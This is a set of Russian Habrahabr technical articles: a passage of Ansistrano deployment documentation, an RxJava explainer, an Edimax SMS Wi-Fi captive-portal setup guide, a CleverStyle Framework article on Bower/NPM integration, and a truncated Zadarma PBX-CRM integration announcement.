утверждают, что это был чуть ли не единственный способ выяснить количество пользователей проекта. Код по сбору анонимной статистики см. здесь . Кроме того, этот зонд функционал можно отключить, установив в false настройку ansistrano_allow_anonymous_stats во всех плейбуках. Кто использует Ansistrano? Готов ли Ansistrano к использованию? Вот некоторые компании, которые работают с Ansistrano: Atrápalo Another Place Productions Suntransfers Ulabox Euromillions.com Uvinum Cycloid Spotahome Ofertix Nice&Crazy Gstock CMP Group Jolicode Wavecontrol EnAlquiler ABA English Oferplan Yubl Fluxus TechPump Nodo Ámbar Cabissimo UNICEF Comité Español Claranet France OpsWay Software Factory Установка и обновление Для развертывания приложений с Ansistrano понадобятся: Ansible на центральной машине; rsync на целевой машине (если используется стратегия развертывания rsync , git или ansistrano_current_via = rsync ). Ansistrano доступен через Ansible Galaxy . Чтобы запустить установку, выполните: $ ansible-galaxy install carlosbuenosvinos.ansistrano-deploy carlosbuenosvinos.ansistrano-rollback Чтобы обновить Ansistrano, добавьте параметр --force : $ ansible-galaxy install --force carlosbuenosvinos.ansistrano-deploy carlosbuenosvinos.ansistrano-rollback Основная схема работы Развертывание приложений с Ansistrano выполняется по той же схеме, что и в Capistrano. Настройка (Setup): создается структура каталогов для хранения релизов. Обновление кода (Code update): загрузка релиза на целевые машины. Обновление ссылок (Symlink): после развертывания нового релиза на целевых машинах ссылка current устанавливается на новый релиз. Очистка (Cleanup): с учетом параметра ansistrano_keep_releases удаляются старые версии (см. «Переменные роли»). Переменные роли Далее для справки приведен список переменных Ansistrano. Список переменных роли - vars: ansistrano_deploy_from: "{{ playbook_dir }}" # Расположение проекта (относительный или абсолютный путь). ansistrano_deploy_to: "/var/www/my-app" # Путь для развертывания. ansistrano_version_dir: "releases" # Имя каталога с релизами. ansistrano_current_dir: "current" # Имя ссылки на текущий релиз, меняется редко. ansistrano_current_via: "symlink" # Стратегия развертывания в каталог "current". Варианты: "symlink" или "rsync". ansistrano_shared_paths: [] # Общие пути для ссылки на каталог с релизом. ansistrano_shared_files: [] # Общие файлы для ссылки на каталог с релизом. ansistrano_keep_releases: 0 # Релизы, которые необходимо сохранить. См. «Удаление старых релизов». ansistrano_deploy_via: "rsync" # Метод доставки кода на сервер. Варианты: "copy", "rsync", "git", "svn", "s3" или "download". Для "copy", "download" и "s3" есть возможность распаковать (unarchive) загруженный файл (нужно добавить "_unarchive"). Полный список опций можно найти в каталоге *tasks/update-code*. ansistrano_allow_anonymous_stats: yes # Переменные, используемые при стратегии развертывания "rsync" ansistrano_rsync_extra_params: "" # Дополнительные параметры, которые будут использованы при развертывании с помощью rsync одной строкой. Хотя Ansible позволяет использовать массивы, могут быть проблемы при попытке добавления нескольких аргументов "--include". См. соответствующий отчет по ссылке https://github.com/ansistrano/deploy/commit/e98942dc969d4e620313f00f003a7ea2eab67e86 ansistrano_rsync_set_remote_user: yes # См. [ansible synchronize module](http://docs.ansible.com/ansible/synchronize_module.html). Варианты: "yes", "no". # Переменные, используемые при стратегии развертывания Git ansistrano_git_repo: git@github.com:USERNAME/REPO.git # Расположение репозитория git. ansistrano_git_branch: master # Какую версию репозитория использовать. Это может быть целый 40-символьный хеш SHA-1, литерал HEAD, имя ветки или имя тега (tag name). ansistrano_git_repo_tree: "" # Если указано поддерево (subtree) репозитория для развертывания. ansistrano_git_identity_key_path: "" # Если указано, то этот файл копируется и используется в качестве идентификационного ключа для команд git, путь указывается относительно плейбука, в котором используется. # Переменные, используемые при стратегии развертывания SVN # Обратите внимание: в Ansible 1.8.x была ошибка в модуле subversion (https://github.com/ansible/ansible-modules-core/issues/370), поэтому поддержка этой системы начинается только с Ansible 1.9. ansistrano_svn_repo: "https://svn.company.com/project" # Расположение репозитория svn ansistrano_svn_branch: "trunk" # Какую ветку репозитория использовать. ansistrano_svn_revision: "HEAD" # Какую ревизию репозитория использовать. ansistrano_svn_username: "user" # SVN authentication username ansistrano_svn_password: "Pa$$word" # SVN authentication password # Переменные, используемые при стратегии развертывания download ansistrano_get_url: https://github.com/someproject/somearchive.tar.gz # Переменные, используемые при стратегии развертывания S3 ansistrano_s3_bucket: s3bucket ansistrano_s3_object: s3object.tgz # Добавьте суффикс _unarchive к ansistrano_deploy_via, если ваш объект является пакетом (например, s3_unarchive) ansistrano_s3_region: eu-west-1 ansistrano_s3_rgw: false # должна быть Ansible >= 2.2, используйте Ceph RGW (когда установлено в "true", игнорируйте ansistrano_s3_region) ansistrano_s3_url: http://rgw.example.com # при использовании Ceph RGW установите url # Необязательные переменные, не используются по умолчанию ansistrano_s3_aws_access_key: YOUR_AWS_ACCESS_KEY ansistrano_s3_aws_secret_key: YOUR_AWS_SECRET_KEY # Hooks: (добавьте в задачи необходимые обработчики событий) ansistrano_before_setup_tasks_file: "{{ playbook_dir }}/<your-deployment-config>/my-before-setup-tasks.yml" ansistrano_after_setup_tasks_file: "{{ playbook_dir }}/<your-deployment-config>/my-after-setup-tasks.yml" ansistrano_before_update_code_tasks_file: "{{ playbook_dir }}/<your-deployment-config>/my-before-update-code-tasks.yml" ansistrano_after_update_code_tasks_file: "{{ playbook_dir }}/<your-deployment-config>/my-after-update-code-tasks.yml" ansistrano_before_symlink_shared_tasks_file: "{{ playbook_dir }}/<your-deployment-config>/my-before-symlink-shared-tasks.yml" ansistrano_after_symlink_shared_tasks_file: "{{ playbook_dir }}/<your-deployment-config>/my-after-symlink-shared-tasks.yml" ansistrano_before_symlink_tasks_file: "{{ playbook_dir }}/<your-deployment-config>/my-before-symlink-tasks.yml" ansistrano_after_symlink_tasks_file: "{{ playbook_dir }}/<your-deployment-config>/my-after-symlink-tasks.yml" ansistrano_before_cleanup_tasks_file: "{{ playbook_dir }}/<your-deployment-config>/my-before-cleanup-tasks.yml" ansistrano_after_cleanup_tasks_file: "{{ playbook_dir }}/<your-deployment-config>/my-after-cleanup-tasks.yml" {{ playbook_dir }} — переменная Ansible, которая хранит путь к текущему плейбуку. Развертывание Чтобы выполнить развертывание с помощью Ansistrano, сделайте несколько шагов. Создайте новый файл hosts . В случае возникновения вопросов смотрите документацию по Ansible Inventory . В этом файле будут указаны целевые машины. Создайте новый плейбук для развертывания приложения (например, deploy.yml ). Настройте переменные роли. Включите роль carlosbuenosvinos.ansistrano-deploy в скрипт (play). Запустите плейбук. ansible-playbook -i hosts deploy.yml Если все было настроено правильно, эта команда создаст примерно следующую структуру каталогов на сервере. Проверьте, как будет выглядеть каталог hosts после одного, двух и трех развертываний. -- /var/www/my-app.com |-- current -> /var/www/my-app.com/releases/20100509145325 |-- releases | |-- 20100509145325 |-- shared -- /var/www/my-app.com |-- current -> /var/www/my-app.com/releases/20100509150741 |-- releases | |-- 20100509150741 | |-- 20100509145325 |-- shared -- /var/www/my-app.com |-- current -> /var/www/my-app.com/releases/20100512131539 |-- releases | |-- 20100512131539 | |-- 20100509150741 | |-- 20100509145325 |-- shared Последовательные развертывания Чтобы предотвратить установку различных временных меток при развертывании на несколько серверов с использованием опции serial , установите переменную ansistrano_release_version . ansible-playbook -i hosts -e "ansistrano_release_version=`date -u +%Y%m%d%H%M%SZ`" deploy.yml Откат Чтобы откатиться с Ansistrano, необходимо настроить развертывание и выполнить плейбук отката. ansible-playbook -i hosts rollback.yml При попытке отката с количеством развернутых релизов, равным 1 или 0, система выдаст ошибку; никаких действий при этом выполнено не будет. В сценарии отката по сравнению с развертыванием гораздо меньше настраиваемых переменных: - vars: ansistrano_deploy_to: "/var/www/my-app" # Путь для развертывания. ansistrano_version_dir: "releases" # Имя каталога с релизами. ansistrano_current_dir: "current" # Имя ссылки на текущий релиз, меняется редко. # Hooks: (добавьте в задачи необходимые обработчики событий) ansistrano_before_symlink_tasks_file: "{{ playbook_dir }}/<your-deployment-config>/my-before-symlink-tasks.yml" ansistrano_after_symlink_tasks_file: "{{ playbook_dir }}/<your-deployment-config>/my-after-symlink-tasks.yml" ansistrano_before_cleanup_tasks_file: "{{ playbook_dir }}/<your-deployment-config>/my-before-cleanup-tasks.yml" ansistrano_after_cleanup_tasks_file: "{{ playbook_dir }}/<your-deployment-config>/my-after-cleanup-tasks.yml" Многостадийные среды (multistage environments) (devel, preprod, prod и т. д.) При развертывании в разные среды (например, devel , preprod и prod ) рекомендуется создавать для них разные файлы hosts . Один и тот же плейбук можно запускать для разных hosts -файлов с помощью параметра -i . В каждом из этих файлов допускается указание различающихся данных (имена пользователей, пароли, параметры соединений и т. д.). ansible-playbook -i hosts_devel deploy.yml ansible-playbook -i hosts_preprod deploy.yml ansible-playbook -i hosts_prod deploy.yml Hooks: пользовательские задачи (custom tasks) После шага Symlink обычно необходимо перезагрузить сервер, или перед Code update загрузить зависимости, или даже сделать это в production перед Symlink . Итак, для выполнения пользовательских задач необходимы обработчики (hooks), которые Ansistrano выполнит до или после каждого из 3 основных шагов. -- /my-local-machine/my-app.com |-- hosts |-- deploy.yml |-- my-custom-tasks | |-- before-code-update.yml | |-- after-code-update.yml | |-- before-symlink.yml | |-- after-symlink.yml | |-- before-cleanup.yml | |-- after-cleanup.yml Например, чтобы перезапустить Apache после шага Symlink , добавим в after-symlink.yml следующие строки: - name: Restart Apache service: name=httpd state=reloaded Как добавить отправку уведомления о завершении развертывания по почте или очистить кеш? Очень просто! С помощью переменных роли ansistrano_before_*_tasks_file и ansistrano_after_*_tasks_file можно указать файл с пользовательскими задачами для точек «до» и «после» каждого шага. Переменные в пользовательских задачах При написании файлов пользовательских задач могут потребоваться некоторые переменные, доступные в Ansistrano: {{ ansistrano_release_path.stdout }} : путь к текущему релизу для развертывания (это, возможно, самая нужная переменная); {{ ansistrano_releases_path.stdout }} : путь к каталогу с релизами; {{ ansistrano_shared_path.stdout }} : путь к общей папке (где могут храниться общие для всех релизов файлы); {{ ansistrano_release_version }} : относительное имя каталога с релизом (по умолчанию равно текущей временной метке (timestamp) в зоне UTC). Удаление старых релизов В средах, где применяется Continuous delivery, в промышленную эксплуатацию, как правило, сдается много релизов. Те счастливчики, у которых на дисках избыток свободного места, возможно, не увидят в этом проблемы, но общепринятой практикой является хранение лишь ограниченного количества релизов. Чтобы удалить старые релизы после развертывания, запишите в переменную ansistrano_keep_releases количество, которое необходимо сохранить. Давайте посмотрим, как будет вести себя Ansistrano при развертывании трех релизов и ansistrano_keep_releases: 2 : -- /var/www/my-app.com |-- current -> /var/www/my-app.com/releases/20100509145325 |-- releases | |-- 20100509145325 |-- shared -- /var/www/my-app.com |-- current -> /var/www/my-app.com/releases/20100509150741 |-- releases | |-- 20100509150741 | |-- 20100509145325 |-- shared -- /var/www/my-app.com |-- current -> /var/www/my-app.com/releases/20100512131539 |-- releases | |-- 20100512131539 | |-- 20100509150741 |-- shared Заметьте, что релиз 20100509145325 был удален. Пример плейбука В каталоге example репозитория Ansistrano можно найти демонстрационный проект, который приводит пример развертывания небольшого приложения. Чтобы его запустить, понадобятся Vagrant и роли Ansistrano. Для получения информации по работе с Vagrant см. https://www.vagrantup.com . $ cd example/my-playbook $ vagrant up $ ansible-playbook -i hosts deploy.yml После выполнения этих команд файл index.html , расположенный в каталоге my-app , будет развернут на обе машины, созданные с помощью Vagrant. Для тестирования отката нужно запустить deploy.yml как минимум дважды (чтобы было к чему откатываться). После этого выполните: $ ansible-playbook -i hosts rollback.yml В папке test есть более сложные примеры, которые используют Travis-CI.
https://habrahabr.ru/company/centosadmin/blog/317922/
habrahabr
RxJava. Убираем магию
['rxjava', 'java', 'android']
Я долго боялся использовать RxJava в production. Её назначение и принцип работы оставались для меня загадкой. Чтение исходного кода не добавляло ясности, а статьи только путали. Под катом попытка...
Я долго боялся использовать RxJava в production. Её назначение и принцип работы оставались для меня загадкой. Чтение исходного кода не добавляло ясности, а статьи только путали. Под катом попытка ответить на вопросы: «Какие задачи эта технология решает лучше аналогов?» и «Как это работает?» с помощью аналогий с классической Java и простых метафор. Применение RxJava отлично заменяет Streams API из Java 8 на более ранних версиях Java. Так как Android Java 8 поддерживается далеко не с 4.0, Rx будет оптимальным решением. В статье RxJava рассматривается именно с этого ракурса, так как, по-моему, он наиболее понятный и по-настоящему реактивное приложение под Android с помощью чистой Rx реализовать сложно. Emitter Всем нам знаком паттерн Iterator. interface Iterator<T> { T next(); boolean hasNext(); } За интерфейсом скрывается какой-нибудь источник данных, причём совершенно не важно, какой. Iterator полностью скрывает все детали реализации, предоставляя всего два метода: next — получить следующий элемент hasNext — узнать, есть ли ещё данные в источнике У этого паттерна есть одна особенность: потребитель запрашивает данные и ждёт («зависает»), пока источник не выдаст их. Поэтому в качестве источника обычно выступает конечная, часто заранее сформированная коллекция. Проведём небольшой рефакторинг. interface Iterator<T> { T getNext(); boolean isComplete(); } Думаю, вы уже поняли, к чему я. Интерфейс Emitter из RxJava (для потребителей он дублируется в Observer (Subscriber в RxJava 1)) : interface Emitter<T> { void onNext(T value); void onComplete(); void onError(Throwable error); } Он похож на Iterator, но работает в обратную сторону: источник сообщает потребителю о том, что появились новые данные. Это позволяет разрешить все проблемы с многопоточностью на стороне источника и, например, если вы проектируете UI, то вы сможете рассчитывать на то, что весь код, отвечающий за графический интерфейс — последовательный. Невероятно удобно. Прощайте, каллбэки! Скучать не буду. Аналогия с Iterator взята из [1] Sources Теперь немного о самих источниках. Они бывают множества типов: Observable, Single, Maybe… И все они похожи на капусту (и монады, но это не так важно) . Потому что создав один источник, можно заворачивать его в другой источник, который можно ещё раз завернуть в ещё один источник и так до OutOfMemory. (Но так как обычный источник весит меньше 100 байт, скорее, пока заряд не кончится.) Давайте завернём в источник ответ на тот самый вопрос. Observable.just(42) Как мы знаем, получение ответа — довольно долгая операция. Поэтому завернём в источник, который выполнит вычисления в специальном потоке: Observable.just(42) .subscribeOn(computation()) А ещё мы хотим, чтобы приложение не упало при ответе. Заворачиваем в источник, который вернёт ответ в главном потоке: Observable.just(42) .subscribeOn(computation()) .observeOn(mainThread()) И, наконец, запускаем: Observable.just(42) .subscribeOn(computation()) .observeOn(mainThread()) .subscribe(new DisposableObserver<Integer>() { @Override public void onNext(Integer answer) { System.out.print(answer); } @Override public void onComplete() {} @Override public void onError(Throwable e) {} }); В консоль вывелся ответ, но что же произошло? Метод subscribe определён в Observable . Он делает проверки и подготовку, а затем вызывает метод subscribeActual , который уже по-разному определён для разных источников. В нашем случае метод subscribe вызвал метод subscribeActual у ObservableObserveOn, который вызывает метод subscribe завёрнутого в него источника, уточнив, в какой поток нужно вернуть результат. В ObservableObserveOn лежит ObservableSubscribeOn. Его subscribeActual запускает subscribe завёрнутого в заданном потоке. И, наконец, в ObservableSubscribeOn завёрнут ObservableJust, который просто выдаёт в onNext своё значение. Естественно, просто с числом не интересно. Поэтому вот источник, который получает список товаров и узнаёт для них цены. Цены можно получать только по 20 штук (у InAppBilling API такое же ограничение). → github.com/a-dminator/rx-products-and-prices Этот пример создан для демонстрации принципа работы, а не для использования в реальных проектах. В RxJava огромное количество разных реализаций источников. Все они работают по одному принципу, а детали отлично описаны в документации. Поэтому не буду останавливаться на них. Операции Все операции над источниками делятся на 2 типа: — Не терминальные возвращают новый источник, который завернул исходный — Терминальные исполняют цепочку и получают данные (subscribe, map...) И да, ничего не исполнится, пока не будет выполнена терминальная операция. Цепочка может сколько угодно лежать в памяти, не делая вообще ничего. И это хорошо, потому что если мы не получаем данные, то зачем их производить? (Ленивые вычисления без Haskell в комплекте!). По аналогии со Streams API из [2] Dispose (Unsubscribe в RxJava 1) Исполнение цепочки можно прервать. Делается это вызовом dispose() у DisposableObserver (unsubscribe() у Subscriber в RxJava 1) . После этого RxJava прекратит исполнение цепочек, отпишет всех Observer'ов и вызовет iterrupt() у потоков, которые больше не нужны. Так же можно узнать, не прервано ли исполнение из источников. Для этого у Emitter есть метод isDispose() (isUnsubscribe() для RxJava 1) . У этого есть логичная, но неприятная особенность: так как Observer отвечает за обработку ошибок, теперь все ошибки крашат приложение. Я пока не нашёл решения, о котором готов написать. Заключение RxJava: — Позволяет легко компоновать запросы к сети, базе данных и т.д; организуя их асинхронное выполнение. Это означает, что ваши пользователи получат более быстрое и отзывчивое приложение. — Не содержит в себе никакой магии. Только составление и исполнение цепочек источников. — (Для меня) Решает больше проблем, чем создаёт! Всем спасибо. [1] Видео [2] Видео
https://habrahabr.ru/post/317928/
habrahabr
Три минуты на настройку WiFi-авторизации по СМС
['авторизация WiFi по СМС', 'SMS', 'captive portal', 'контроллер', 'Edimax', 'АРС500', 'постановление правительства №758']
Есть у меня хороший знакомый, владелец весьма уютного и популярного кафе в Суздале, которое недавно пережило реновацию и расширение. Денег в интерьеры вложено было много, дело наконец дошло и...
Есть у меня хороший знакомый, владелец весьма уютного и популярного кафе в Суздале, которое недавно пережило реновацию и расширение. Денег в интерьеры вложено было много, дело наконец дошло и до Wi-Fi. На фоне вентилирования этого дела, мой знакомый пошел все разузнавать у всех по кругу и схлестнулся в дискуссии со своим родственником (юристом по профессии), на тему волен ли он делать, что захочет в своем «кафе с претензией на ресторан», если это не вредит гостям – конкретно, речь пошла о едином Wi-Fi доступе гостям во всех залах и на веранде ресторана к будущему лету. На примере недавно обвайфаенного офиса в московской компании, я собирался ему рекомендовать Edimax PRO, так как по сей день проблем с этим оборудованием не возникло, а ценник приемлемый. После дискуссии с родственником юристом, мой знакомый вернулся ко мне с репликой, что мол будет без вариантов заказывать более широкий канал вместе с оборудованием у местного телекома, который и прикроет его от всех потенциальных претензий надзирающих органов «если что». Ему родственник якобы подробно объяснил, что теперь обязана быть какая-то хитрая авторизация и учет подключившихся гостей, что может дать только телеком с его собственным оборудованием. В результате я сказал, своему мегаресторатору «обожди, ничего не делай пару дней» и занялся изучением этого вопроса с двух сторон: с точки зрения чтения законодательной базы и того, что мы можем «сварить» из имеющегося Эдимакса, не подключая дорогие «магнетические сферы» в лице местного ОПСа. Делюсь результатами моей работы, которая вылилась в простом, на мой взгляд, способе авторизации WiFi пользователей по СМС. Максимум на что я был внутренне готов – это скулибинствовать что-то вокруг GSM-шлюза на raspberry и скрипте, но по факту «все придумали до нас». По итогам изучения законо-талмудов, выяснилось, что действительно, публичный доступ в WiFi сеть теперь регламентирован и уже достаточно давно, с июля 2014 года, когда вышло постановление правительства №758, суть которого сводится к тому, что анонимным пользователям заходить в открытую WiFi сеть теперь нельзя. Всех пользователей нужно авторизовывать, да еще полгода хранить данные о них самих, времени и объеме оказания услуг. Для владельцев кафе, ресторанов, таких как мой знакомый, а также и мелких магазинов, отелей, клиник, турагентств и прочего бизнеса из сферы обслуживания, что хотят завлечь клиентов бесплатным вай-фаем – это получается, говоря простым языком, геморрой, непрофильная затрата денег и времени на сопутствующую отнюдь не главную тему, причем с привязкой к конкретному оператору связи надолго. Любое перепрыгивание на другой телеком будет рождать целую цепочку проблем, которую надо будет заново решать. Но закон есть закон и строго говоря, даже то, что у моего cуздальца раньше в старом здании кафе стоял простой роутер на окне в зале – это получается уже было нарушение. И если идти в лоб, то выбор тут простой: либо идти на поклон крупным операторам связи (не каждый местный кстати оказывает такую услугу), отдавая им часть прибыли за предоставление телематических услуг, либо выдергивать кабель из порта RJ45 точки доступа своего любимого заведения. Но есть и третий способ, которым и хочу поделиться. Десятки раз видел в EDIMAX’е, эту настройку на их контроллере и никогда не думал о том, что она мне пригодится. Пригодилась! Собственно, проблема знакомого решилась всего за 3 минуты эксперимента, что и описываю далее. Подробнее о способе. О хорош тем, что: А) закон не нарушаем и авторизуем пользователей строго по закону, то есть по СМС, со всеми необходимыми данными идентификации личности. Б) деньги операторам не платим, пусть довольствуются тем, что мы у них покупаем канал. Единственный минус – нужно купить девайс, а именно контроллер Edimax PRO APC500 и потратить время на его настройку. Но деньги платятся один раз, возможностей получаем кучу. В опытных руках настройка занимает действительно три минуты и даже меньше – ровно столько и длится ролик: Собственно, этой настройке и посвящена короткая статья. Теперь по порядку: 1. Включаем контроллер Edimax APC500 в сеть. Наличие точек или готовых развернутых сетей Wi-Fi не обязательно. Замечу, что у контроллера есть 8 Гб для хранения данных подключения. Captive portal можно включать и выключать в любой момент. Или переключаться между пресетами. 2. Если в сети присутствует DHCP сервер – нужно найти какой IP получил контроллер. Если DHCP сервера нет – IP по умолчанию 192.168.2.1 и видим страницу настроек NMS (здесь и далее скриншоты с приведенного выше видео): 3. Выбираем: >NMS Settings>System Accounts В контроллере АРС500 сервис отправки СМС уже встроен и работает на базе двух предустановленных операторов связи. Они используют заведомо лучшее ПО и аппаратную часть, нежели оборудование, которое может использовать отдельная частная компания, например, GSM-шлюз. (Понятно, что кафе или кофейня даже и думать не могут о таком шлюзе, да он им и не нужен). Сервис же оператора, крайне дешев и, насколько я знаю, может осуществлять рассылки до миллиона СМС и не требует наличия повышенного внимания и для поддержки. В России, такой сервис предоставляет провайдер Stream Telecom (Стрим Телеком). Допускаю, что много кто еще, но прямо в контроллере Эдимакса он уже прошит заранее как родной. Поэтому для начала необходимо выполнить подготовительную работу – зарегистрироваться на сайте оператора и завести свой аккаунт. Вы получите логин и пароль, которые нужно будет ввести в меню контроллера. На этом настройки авторизации по СМС завершена. 4. Теперь нужно установить, кто из Wi-Fi пользователей будет авторизовываться посредством СМС. Для этого необходимо создать две группы пользователей: Frontdesk и Guest group. Далее мы должны установить, что пользователи будут динамические и по необходимости выбрать веб-сайт для переадресации. Для настроек администратора, уведомления СМС не требуется, но нужно включить метод проверки подлинности – SMS. Выберите код страны +7 и выберите метку Use Cell Phone numbers as Username. 5. Последняя операция настройка Captive portal, где можно настроить сообщение, которое получит пользователь (приветствие, название заведение, рекламные объявления и проч.) 6. Так же можно настроить саму страницу Captive Portal, куда вывести свои лого, шаблоны графики, полностью или частично изменить лицензионное соглашение. Как видно, ничего заумного в настройке нет, ее может освоить любой человек, хоть немного знакомый с администрированием. Ну собственно, вот и все, владелец теперь может не опасаться штрафов за незаконную раздачу трафика, а с учетом того, что он вот-вот собирается открывать флигель с мини-гостиницей, ему придется докупать еще десяток точек и управлять с ими все равно будет удобнее с контроллером, чем без него. Соответственно, вложение единоразовое и надолго, а, следовательно, стратегически осмысленное. Как говорится, приятного аппетита. P.S. Русский интерфейс в контроллере имеется, переведено все. Но автору просто удобнее производить настройки на английском.
https://habrahabr.ru/post/317924/
habrahabr
Alameda, Bower и NPM интеграция в CleverStyle Framework
['php', 'cms', 'cmf', 'framework', 'cleverstyle', 'assets', 'requirejs', 'alameda', 'amd', 'bower', 'npm']
В предыдущей статье можно ознакомится как фреймворк работает со статикой, которая поставляется с компонентами, созданными специально для фреймворка. В то же время есть огромное количество...
В предыдущей статье можно ознакомится как фреймворк работает со статикой, которая поставляется с компонентами, созданными специально для фреймворка. В то же время есть огромное количество сторонних компонентов в виде Bower/NPM пакетов, работу с которыми фреймворк так же упрощает и с которыми отлично интегрируется. Alameda Для загрузки AMD модулей вместе с фреймворком поставляется Alameda. Фреймворк самостоятельно заботится о том, чтобы сгенерировать конфигурацию для Alameda таким образом, чтобы вы могли вызывать нужные модули просто используя имя модуля без полного пути. AMD модули для модулей фреймворка Простите за тавтологию, но звучит именно так. AMD модули могут использоваться в том числе в модулях фреймворка для того, чтобы не загружать ненужный код на страницах до того как он нужен. Здесь происходят следующие операции: для всех модулей фреймворка с JavaScript файлами (проверяется наличие директории modules/*/assets/js ) создается алиас (опция paths конфигурации Alameda) для названия модуля и каждой функциональности, которую он предоставляет Например, для модуля MyModule с meta.json : { "package" : "MyModule", "category" : "modules", ... "provide" : "my_feature", ... } Будут созданы два алиаса: MyModule -> /modules/MyModule/assets/js my_feature -> /modules/MyModule/assets/js Если AMD модуль находится по пути modules/MyModule/assets/js/my_module.js , то вызвать его можно будет, к примеру, как my_feature/my_module . Достаточно удобно, если есть несколько альтернативных реализаций одного AMD модуля, в этом случае будет использоваться тот, который установлен. AMD модули в Bower пакетах Фреймворк сканирует при наличии содержимое директории bower_components в корне сайта и генерирует Alameda конфигурацию для каждого найденного пакета (опция packages конфигурации Alameda) следующего вида: { "name" : "jquery", "main" : "dist/jquery", "location" : "/bower_components/jquery" } Генерация именно пакетов позволяет поддерживать не только модули из одного файла как jQuery, но и более сложные конфигурации как lodash-amd , где можно грузить не всю библиотеку, а лишь некоторые её части (более старые версии фреймворка умели генерировать только алиасы). В качестве названия модуля выступает имя директории, таким образом jQuery можно использовать как jquery . Для того, чтобы понять какой файл использовать в ключе main используется одноименный ключ из bower.json (первый JavaScript файл в случае если указан массив файлов). AMD модули в NPM пакетах Аналогично bower_components , фреймворк так же анализирует директорию node_modules . С анализом package.json всё сложнее, поскольку многие пакеты ориентированы в первую очередь на использование в окружении Node.js. Для того, чтобы найти подходящий файл для использования в окружении браузера фреймворк пробует следующие ключи в package.json в порядке от более высокого приоритета к более низкому: browser jspm.main main В процессе использования иногда приходится делать PR для пакетов, которые пока этого не поддерживают ( Redux , seamless-immutable ). Bower/NPM пакеты как зависимости модулей фреймворка Для фреймворка существует необязательный модуль Composer assets , который позволяет декларативно указывать Bower/NPM зависимости для модулей фреймворка в их meta.json ключах require_bower и require_npm . Эти зависимости будут установлены для соответствующего модуля автоматически, при это не нужен ни доступ к терминалу на сервере, ни установленного Node.js, а при условии наличия конфликтов установка модуля прервется, то есть интеграция получается полноценной. Выглядит это следующим образом: { ... "require" : [ "System>=6.25", "System<7.0", "composer_assets" ], "require_npm" : { "qrcodejs" : { "version" : "1.0.0", "files" : [ "qrcode.js" ] } } } Во-первых необходимо указать зависимость от функциональности composer_assets , посколько именно она добавляет поддержку нужных ключей, без этого фреймворк не понимает что такое require_npm . Во-вторых нужно указать какой модуль нужен и (опционально) какие файлы нужно подключать. Дело в том, что по умолчанию фреймворк считает пакеты как содержащие AMD модули и генерирует для них конфигурации аналогичные вышеуказанным. Но иногда нужно подключить простой JavaScript файл, файл стилей или веб-компонент. Если нужен только AMD модуль, то конфигурацию можно упростить до следующей: { ... "require_npm" : { "jquery" : "^3.0.0" } } Одним важным моментом интеграции является поддержка алиасов для установленных через Composer assets пакетов по путях bower_components и node_modules . Иными словами jQuery из последнего сниппета можно достать по пути /node_modules/jquery/dist/jquery.js , при том что физически файл находится по пути /storage/Composer/vendor/npm-assets/jquery/dist/jquery.js . Режим продакшена Если включить кэширование и сжатие статики в настройках фреймворка, то файлы из {require_npm|require_bower}.*.files пройдут ту же обработку, что и файлы поставляемые с модулями фреймворка, так что большинство поддерживаемых оптимизаций будет применяться и здесь. Так же типичным для многих пакетов в "дикой природе" является сопровождение обычных собранных модулей их минифицированными версиями (в bower.json и package.json при этом указываются обычные). Таким образом в продакшене вместо dist/jquery.js на самом деле будет загружен dist/jquery.min.js . Кастомная версия Alameda Как это бывает, к сожалению, достаточно часто, фреймворк поставляется с кастомизированными сборками сторонних проектов, в данном случае с кастомной версией Alameda. Проблема с оригиналом в том, что в "дикой природе" есть некоторые не совсем корректно сформированные модули, которые без патча Alameda поддерживать отказывается, кастомная же версия умеет загружать и такие модули что избавляет от ручной конфигурации, которая потребовалась бы в противном случае. Пример такого некорректного, но теперь поддерживаемого фреймворком, модуля : define('inline-styles-formatter',[], function () { ... }); define('as-html-formatter',[], function () { ... }); define('scribe-plugin-inline-styles-to-elements',[ './inline-styles-formatter', './as-html-formatter' ], function ( inlineStylesFormatter, asHtmlFormatter ) { ... }); Обсуждение ситуации с разработчиком Alameda можно найти здесь , а форк с нужной функциональность здесь . Напоследок Как можно увидеть, фреймворк отлично интегрируется как с стандартным способом установки Bower/NPM пакетов, так и поддерживает их на уровне зависимостей модулей фреймворка. Конфигурации AMD пакетов генерируются для подавляющего большинства правильно оформленных пакетов полностью автоматически. Всегда рад новым идеям и конструктивным комментариям. » Репозиторий на GitHub
https://habrahabr.ru/post/317894/
habrahabr
Соединяем облака: бесплатная интеграция АТС и CRM
['crm-системы', 'amocrm', 'битрикс24', 'атс', 'saas-сервис', 'zadarma', 'voip', 'api', 'интеграция сервисов']
Все знают, что есть бесплатные виртуальные/облачные АТС, также иногда встречаются бесплатные CRM системы. А можно ли соединить одно с другим без затрат денег и времени? С сегодняшнего дня точно...
Все знают, что есть бесплатные виртуальные/облачные АТС, также иногда встречаются бесплатные CRM системы. А можно ли соединить одно с другим без затрат денег и времени? С сегодняшнего дня точно можно. Проект Zadarma предлагает использовать бесплатную интеграцию с CRM для бесплатной облачной АТС. Сейчас в списке интеграций три популярные CRM системы, и это только начало. Приглашаются все желающие присоединиться, для них значительно расширен API. Интеграция облачных сервисов — данность, от которой не отказывается ни одна эффективная компания. Часто понятие «интеграция» приравнивается к словосочетанию «дополнительный бюджет». И тогда на помощь приходят бесплатные решения. Такие как интеграция бесплатной АТС и CRM-системы. Что с чем интегрировано? Со стороны CRM на сегодня уже готова интеграция с тремя популярными системами: Битрикс24 : достигнута полная интеграция на уровне API (без использования сторонней «звонилки», звонки можете принимать на любых устройствах). AmoCRM : тут без комментариев, также полная интеграция, просто все работает PlanFix : судя по рейтингам весьма крупная система, благодарны им за то, что они сами создали интеграцию с нашей АТС. В ближайших планах интеграция еще с несколькими крупными CRM. Со стороны телефонии интегрирована бесплатная облачная АТС Zadarma. В последнее время функционал АТС был значительно расширен, на сейчас это вкратце: Десятки сценариев настройки входящих звонков (голосовое меню, календарь, и т.д.) Гибкая настройка исходящих звонков (префиксы набора, CallerID по направлпению) Запись хранение проигрывание звонков (можно и через API) Голосовая почта, много вариантов переадресации (условная, с оповещением и т.д.) Расширенная статистика, графики (да, и это бесплатно). И функционал дальше будет только расти, а вот цена не будет, ведь АТС бесплатна Что входит в интеграцию? Набор функций интеграции весьма стандартный и вновь не уступает платным аналогам: Звонки клиентам из CRM в один клик. (CallBack на вашу программу либо IP-телефон) Всплывающая карта при входящем звонке. Интеграция статистики звонков и записей разговоров. Прослушивайте записи разговоров прямо из CRM. При поступлении звонка с нового номера будет создан Контакт. (Также например в Битрикс24 создаются лиды, в Amo можно создавать по желанию сделки) Звонки от клиентов автоматически направляются на ответственного менеджера. Отображение имени 